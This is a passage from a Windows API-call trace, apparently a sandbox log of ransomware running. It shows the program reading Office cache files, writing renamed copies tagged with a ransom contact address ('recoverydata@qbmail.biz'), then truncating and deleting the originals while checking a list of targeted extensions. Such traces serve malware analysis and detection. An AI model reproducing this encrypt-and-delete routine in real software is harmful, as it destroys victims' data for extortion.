Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.205] lstrlenW (lpString=".doc") returned 4 [0079.205] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.205] lstrlenW (lpString=".docx") returned 5 [0079.205] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0079.205] lstrlenW (lpString=".pdf") returned 4 [0079.205] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.205] lstrlenW (lpString=".xls") returned 4 [0079.206] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.206] lstrlenW (lpString=".xlsx") returned 5 [0079.206] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0079.206] lstrlenW (lpString=".ppt") returned 4 [0079.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.206] lstrlenW (lpString=".zip") returned 4 [0079.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.206] lstrlenW (lpString=".rar") returned 4 [0079.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.206] lstrlenW (lpString=".bz2") returned 4 [0079.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.206] lstrlenW (lpString=".7z") returned 3 [0079.206] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.206] lstrlenW (lpString=".dbf") returned 4 [0079.206] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.206] lstrlenW (lpString=".1cd") returned 4 [0079.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.206] lstrlenW (lpString=".jpg") returned 4 [0079.207] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.207] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0079.207] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0079.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0079.752] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=913) returned 1 [0079.753] CloseHandle (hObject=0x1b8) returned 1 [0079.753] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0079.753] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0079.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0079.753] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.753] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0079.754] GetLastError () returned 0x0 [0079.754] ReadFile (in: hFile=0x1b8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x391, lpOverlapped=0x0) returned 1 [0079.787] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0079.789] ReadFile (in: hFile=0x1b8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0079.789] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xee, lpOverlapped=0x0) returned 1 [0079.790] SetEndOfFile (hFile=0x194) returned 1 [0079.790] CloseHandle (hObject=0x194) returned 1 [0079.791] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.791] SetEndOfFile (hFile=0x1b8) returned 1 [0079.793] CloseHandle (hObject=0x1b8) returned 1 [0079.793] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0079.793] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0079.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.794] lstrlenW (lpString=".doc") returned 4 [0079.794] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.794] lstrlenW (lpString=".docx") returned 5 [0079.794] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0079.794] lstrlenW (lpString=".pdf") returned 4 [0079.794] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.794] lstrlenW (lpString=".xls") returned 4 [0079.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.795] lstrlenW (lpString=".xlsx") returned 5 [0079.795] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0079.795] lstrlenW (lpString=".ppt") returned 4 [0079.795] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.795] lstrlenW (lpString=".zip") returned 4 [0079.795] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.795] lstrlenW (lpString=".rar") returned 4 [0079.795] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.795] lstrlenW (lpString=".bz2") returned 4 [0079.795] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.795] lstrlenW (lpString=".7z") returned 3 [0079.795] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.795] lstrlenW (lpString=".dbf") returned 4 [0079.796] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.796] lstrlenW (lpString=".1cd") returned 4 [0079.796] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.796] lstrlenW (lpString=".jpg") returned 4 [0079.796] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.796] lstrlenW (lpString=".doc") returned 4 [0079.796] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.796] lstrlenW (lpString=".docx") returned 5 [0079.797] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0079.797] lstrlenW (lpString=".pdf") returned 4 [0079.797] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.797] lstrlenW (lpString=".xls") returned 4 [0079.797] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.797] lstrlenW (lpString=".xlsx") returned 5 [0079.797] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0079.797] lstrlenW (lpString=".ppt") returned 4 [0079.797] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.797] lstrlenW (lpString=".zip") returned 4 [0079.797] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.798] lstrlenW (lpString=".rar") returned 4 [0079.798] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.798] lstrlenW (lpString=".bz2") returned 4 [0079.798] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.798] lstrlenW (lpString=".7z") returned 3 [0079.798] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.798] lstrlenW (lpString=".dbf") returned 4 [0079.798] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.798] lstrlenW (lpString=".1cd") returned 4 [0079.798] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0079.799] lstrlenW (lpString=".jpg") returned 4 [0079.799] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.958] lstrcmpiW (lpString1=".chm", lpString2=".data") returned -1 [0079.958] lstrlenW (lpString="setup.chm") returned 9 [0079.958] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0082.520] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=67190) returned 1 [0082.520] CloseHandle (hObject=0x1fc) returned 1 [0082.521] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0082.521] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.521] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0082.521] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.521] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0082.521] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0083.204] GetLastError () returned 0x0 [0083.204] ReadFile (in: hFile=0x1fc, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x10676, lpOverlapped=0x0) returned 1 [0083.627] WriteFile (in: hFile=0x21c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x10680, lpOverlapped=0x0) returned 1 [0083.630] ReadFile (in: hFile=0x1fc, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0083.630] WriteFile (in: hFile=0x21c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0083.630] SetEndOfFile (hFile=0x21c) returned 1 [0083.630] CloseHandle (hObject=0x21c) returned 1 [0083.632] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0083.632] SetEndOfFile (hFile=0x1fc) returned 1 [0083.634] CloseHandle (hObject=0x1fc) returned 1 [0083.634] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0083.634] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0083.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.635] lstrlenW (lpString=".doc") returned 4 [0083.635] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0083.635] lstrlenW (lpString=".docx") returned 5 [0083.635] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0083.635] lstrlenW (lpString=".pdf") returned 4 [0083.635] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0083.635] lstrlenW (lpString=".xls") returned 4 [0083.635] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0083.635] lstrlenW (lpString=".xlsx") returned 5 [0083.635] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0083.636] lstrlenW (lpString=".ppt") returned 4 [0083.636] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0083.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.636] lstrlenW (lpString=".zip") returned 4 [0083.636] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0083.636] lstrlenW (lpString=".rar") returned 4 [0083.636] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0083.636] lstrlenW (lpString=".bz2") returned 4 [0083.636] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0083.636] lstrlenW (lpString=".7z") returned 3 [0083.636] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0083.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.636] lstrlenW (lpString=".dbf") returned 4 [0083.636] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0083.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.636] lstrlenW (lpString=".1cd") returned 4 [0083.637] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0083.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.637] lstrlenW (lpString=".jpg") returned 4 [0083.637] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0083.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.637] lstrlenW (lpString=".doc") returned 4 [0083.637] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0083.637] lstrlenW (lpString=".docx") returned 5 [0083.637] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0083.637] lstrlenW (lpString=".pdf") returned 4 [0083.637] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0083.637] lstrlenW (lpString=".xls") returned 4 [0083.637] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0083.638] lstrlenW (lpString=".xlsx") returned 5 [0083.638] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0083.638] lstrlenW (lpString=".ppt") returned 4 [0083.638] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0083.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.638] lstrlenW (lpString=".zip") returned 4 [0083.638] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0083.638] lstrlenW (lpString=".rar") returned 4 [0083.638] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0083.638] lstrlenW (lpString=".bz2") returned 4 [0083.638] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0083.638] lstrlenW (lpString=".7z") returned 3 [0083.638] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0083.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.638] lstrlenW (lpString=".dbf") returned 4 [0083.638] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0083.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.639] lstrlenW (lpString=".1cd") returned 4 [0083.639] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0083.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0083.639] lstrlenW (lpString=".jpg") returned 4 [0083.639] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0083.639] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0083.640] lstrlenW (lpString="VisiorWW.xml") returned 12 [0083.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0084.039] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=8723) returned 1 [0084.039] CloseHandle (hObject=0x214) returned 1 [0084.039] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0084.040] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.040] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0084.040] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0084.040] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0084.040] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0084.041] GetLastError () returned 0x0 [0084.041] ReadFile (in: hFile=0x214, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x2213, lpOverlapped=0x0) returned 1 [0084.047] WriteFile (in: hFile=0x218, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x2220, lpOverlapped=0x0) returned 1 [0084.049] ReadFile (in: hFile=0x214, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0084.049] WriteFile (in: hFile=0x218, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xec, lpOverlapped=0x0) returned 1 [0084.049] SetEndOfFile (hFile=0x218) returned 1 [0084.049] CloseHandle (hObject=0x218) returned 1 [0084.054] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0084.054] SetEndOfFile (hFile=0x214) returned 1 [0084.055] CloseHandle (hObject=0x214) returned 1 [0084.055] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0084.056] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0084.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.056] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.056] lstrlenW (lpString=".doc") returned 4 [0084.056] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.056] lstrlenW (lpString=".docx") returned 5 [0084.056] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0084.056] lstrlenW (lpString=".pdf") returned 4 [0084.056] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.056] lstrlenW (lpString=".xls") returned 4 [0084.056] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.057] lstrlenW (lpString=".xlsx") returned 5 [0084.057] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0084.057] lstrlenW (lpString=".ppt") returned 4 [0084.057] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.057] lstrlenW (lpString=".zip") returned 4 [0084.057] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.057] lstrlenW (lpString=".rar") returned 4 [0084.057] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.057] lstrlenW (lpString=".bz2") returned 4 [0084.057] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.057] lstrlenW (lpString=".7z") returned 3 [0084.057] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.057] lstrlenW (lpString=".dbf") returned 4 [0084.057] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.057] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0084.057] lstrlenW (lpString=".1cd") returned 4 [0084.057] 